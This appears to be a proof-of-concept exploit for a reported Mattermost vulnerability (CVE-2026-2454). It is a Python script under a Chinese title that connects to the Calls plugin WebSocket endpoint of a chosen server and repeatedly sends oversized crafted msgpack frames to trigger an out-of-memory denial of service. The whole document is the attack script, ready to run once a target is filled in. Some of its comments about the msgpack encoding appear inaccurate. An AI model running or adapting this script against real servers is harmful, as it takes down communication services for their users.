CVE-2026-2454: Mattermost msgpack帧处理错误导致拒绝服务

import websocket import msgpack import struct import time # CVE-2026-2454 PoC - Mattermost msgpack OOM DoS # Target: Mattermost Calls Plugin WebSocket Endpoint def create_malicious_msgpack_frame(): """ Create a malicious msgpack frame with incorrect array length This can trigger OOM when Mattermost tries to allocate memory """ # Create a fixext type with malformed array length # msgpack fixarray with extremely large length malicious_data = msgpack.packb([0] * 1000000) # Large array # Alternatively, craft raw bytes with wrong type indicator # to trigger length parsing error crafted_frame = b'\x98' + b'\x00' * 1000000 # Fixarray with wrong length return crafted_frame def exploit_mattermost(target_url, channel_id): """ Exploit function to trigger CVE-2026-2454 """ ws_url = f"{target_url}/plugins/com.mattermost.calls/call/{channel_id}" try: ws = websocket.create_connection(ws_url) print(f"[+] Connected to {ws_url}") # Send malicious msgpack frame malicious_frame = create_malicious_msgpack_frame() for i in range(10): ws.send(malicious_frame) print(f"[+] Sent malicious frame {i+1}") time.sleep(0.5) ws.close() print("[+] Attack completed") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Configuration TARGET = "wss://your-mattermost-server.com" CHANNEL_ID = "your-channel-id" exploit_mattermost(TARGET, CHANNEL_ID)